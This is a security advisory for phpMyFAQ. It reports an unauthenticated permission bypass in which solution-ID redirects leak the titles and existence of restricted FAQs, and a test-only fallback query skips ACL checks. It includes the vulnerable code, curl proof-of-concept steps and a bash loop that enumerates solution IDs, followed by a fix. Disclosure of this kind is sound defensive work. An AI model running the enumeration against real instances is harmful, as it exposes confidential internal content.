phpMyFAQ has unauthenticated FAQ permission bypass via getFaqBySolutionId fallback query

Summary

The public /solution_id_{id}.html route calls Faq::getIdFromSolutionId() in phpmyfaq/src/phpMyFAQ/Faq.php:1312. That query joins faqdata with faqcategoryrelations solely by solution_id and returns the matching FAQ's id, lang, thema (title), and category_id with no permission filter. An unauthenticated visitor hits the route with a sequential integer and the server 301-redirects to /content/<category>/<id>/<lang>/<title-slug>.html, leaking the FAQ's existence, internal id, language, category binding, and title via the redirect's Location header and the redirected page's canonical link, share-to-social URLs, and hidden form fields. The related getFaqBySolutionId() at line 1221 contains an explicit fallback query (added "for tests") that also bypasses the permission filter, widening the blast radius to any callsite that trusts its result.

Details

The sink: getIdFromSolutionId() has no permission filter

phpmyfaq/src/phpMyFAQ/Faq.php:1312:

public function getIdFromSolutionId(int $solutionId): array
{
    $query = sprintf(
        'SELECT fd.id, fd.lang, fd.thema AS question, fd.content, fcr.category_id
         FROM %sfaqdata fd
         LEFT JOIN %sfaqcategoryrelations fcr
           ON fd.id = fcr.record_id AND fd.lang = fcr.record_lang
         WHERE fd.solution_id = %d',
        Database::getTablePrefix(),
        Database::getTablePrefix(),
        $solutionId,
    );
    // ...
}

No WHERE-clause permission filter, no group/user filter. Every callsite that trusts this method exposes restricted FAQs. The route at phpmyfaq/src/phpMyFAQ/Controller/Frontend/FaqController.php:172 uses this result to compute a slugified URL and 301-redirects to it:

#[Route(path: '/solution_id_{solutionId}.html', name: 'public.faq.solution', methods: ['GET'])]
public function solution(Request $request): Response
{
    $solutionId = Filter::filterVar($request->attributes->get('solutionId'), FILTER_VALIDATE_INT, 0);
    // ...
    $faqData = $this->faq->getIdFromSolutionId($solutionId);
    if ($faqData === []) {
        return new Response('', Response::HTTP_NOT_FOUND);
    }
    $slug = TitleSlugifier::slug($faqData['question']);
    $url = sprintf('/content/%d/%d/%s/%s.html',
        $faqData['category_id'], $faqData['id'], $faqData['lang'], $slug);
    return new RedirectResponse($url, Response::HTTP_MOVED_PERMANENTLY);
}

The redirect URL embeds the title slug, so an unauthenticated visitor observes the title directly even though the canonical /content/<...>.html page may deny rendering the body.

Related sink: getFaqBySolutionId() explicitly falls back without the filter

phpmyfaq/src/phpMyFAQ/Faq.php:1256-1265:

if (false === $row || null === $row) {
    // Fallback without permission filter to ensure retrieval in non-authenticated contexts (e.g., tests)
    $fallbackQuery = sprintf(
        'SELECT * FROM %sfaqdata fd WHERE fd.solution_id = %d LIMIT 1',
        Database::getTablePrefix(),
        $solutionId,
    );
    $fallbackResult = $this->configuration->getDb()->query($fallbackQuery);
    $row = $this->configuration->getDb()->fetchObject($fallbackResult);
}

The inline comment confirms the fallback was introduced for test convenience. In production, the fallback fires exactly when the permission-filtered query returns zero rows (because the caller is unauthenticated or lacks group/user permission) and populates every field of faqRecord, including content, keywords, author, email, and notes. Downstream consumers that expect faqRecord to respect ACLs no longer do.

Entry enumeration

Solution IDs are monotonically increasing integers (faqdata.solution_id). An attacker enumerates /solution_id_<n>.html from 1 upward and records every non-404 response to discover the full set of FAQs on the instance, including ones restricted to admin-only groups or specific users.

Proof of Concept

Prerequisites: a phpMyFAQ instance has at least one FAQ record restricted to a specific user or group via faqdata_user / faqdata_group. Note its solution_id, which is assigned sequentially starting from a six-digit base.

Step 1. Anonymous GET of the solution URL:

curl -sS -L -o /tmp/out.html -w 'HTTP %{http_code}\n' \
  'http://<host>/solution_id_<restricted-solution-id>.html'

Step 2. Observe the 301 redirect that getIdFromSolutionId() returns. The Location header carries the slugified title of the restricted FAQ directly in the URL path:

HTTP/1.1 301 Moved Permanently
Location: /content/<category-id>/<record-id>/<lang>/<title-slug>.html

Step 3. The redirected content page embeds the same metadata in client-controlled sinks, even when the body rendering is suppressed by a separate permission check:

<link rel="canonical" href="http://<host>/content/<category-id>/<record-id>/<lang>/<title-slug>.html">
<input type="hidden" name="voting-id" value="<record-id>">
<a href="http://<host>/pdf/<category-id>/<record-id>/<lang>">...</a>

Step 4. Enumerate solution IDs to discover every FAQ on the instance, including those the permission model intended to hide:

for id in $(seq 1 100000); do
  code=$(curl -sS -o /dev/null -w '%{http_code}' "http://<host>/solution_id_${id}.html")
  if [ "$code" = "301" ]; then
    loc=$(curl -sSI "http://<host>/solution_id_${id}.html" | awk -F': ' '/^Location:/{print $2}' | tr -d '\r')
    echo "solution_id=${id} -> ${loc}"
  fi
done

Each 301 response's Location header reveals category, id, language, and title of a FAQ whose existence the permission model meant to hide.

Impact

Any unauthenticated visitor discovers the full set of FAQ entries on the instance, including the subset restricted to specific groups or users, and reads the title of every restricted FAQ. Deployments that use phpMyFAQ to host internal-only content alongside public content (staff knowledge bases, internal SOPs, confidential customer notes) lose the confidentiality of titles and of the fact that those FAQs exist. Slugified titles often encode the subject directly (for example q3-layoff-plan, aws-root-key-rotation), so the title alone can be sensitive.

The body content is usually still served through a separate permission-enforcing path on the canonical /content/<...>.html URL, so full-body disclosure requires the caller to also defeat that path (for example by combining with a session from any low-privilege account). The title-plus-existence leak is sufficient on its own to harm confidentiality in deployments where titles encode what the FAQ is about.

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N (Medium, 5.3). CWE-863.

Recommended Fix

Add a permission filter to getIdFromSolutionId() the same way getFaqBySolutionId() builds one for its primary query (using QueryHelper::queryPermission()):

public function getIdFromSolutionId(int $solutionId): array
{
    $queryHelper = new QueryHelper($this->user, $this->groups);
    $query = sprintf(
        'SELECT fd.id, fd.lang, fd.thema AS question, fd.content, fcr.category_id
         FROM %sfaqdata fd
         LEFT JOIN %sfaqcategoryrelations fcr
           ON fd.id = fcr.record_id AND fd.lang = fcr.record_lang
         LEFT JOIN (
             SELECT record_id, group_id FROM %sfaqdata_group fdg WHERE fdg.group_id <> -1
             UNION ALL
             SELECT fd.id AS record_id, -1 AS group_id FROM %sfaqdata fd WHERE fd.solution_id = %d
         ) AS fdg ON fd.id = fdg.record_id
         LEFT JOIN %sfaqdata_user fdu ON fd.id = fdu.record_id
         WHERE fd.solution_id = %d %s',
        Database::getTablePrefix(),
        Database::getTablePrefix(),
        Database::getTablePrefix(),
        Database::getTablePrefix(),
        $solutionId,
        Database::getTablePrefix(),
        $solutionId,
        $queryHelper->queryPermission($this->groupSupport),
    );
    // ...
}

Separately, remove the unconditional fallback in getFaqBySolutionId() at Faq.php:1256-1265. If the permission-filtered query returns no rows, the FAQ is not visible to this caller; the method should leave faqRecord empty rather than re-query without the filter. If tests rely on the old behavior, replace the production fallback with a dedicated test helper or a flag that is disabled outside test bootstrap.

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Found by aisafe.io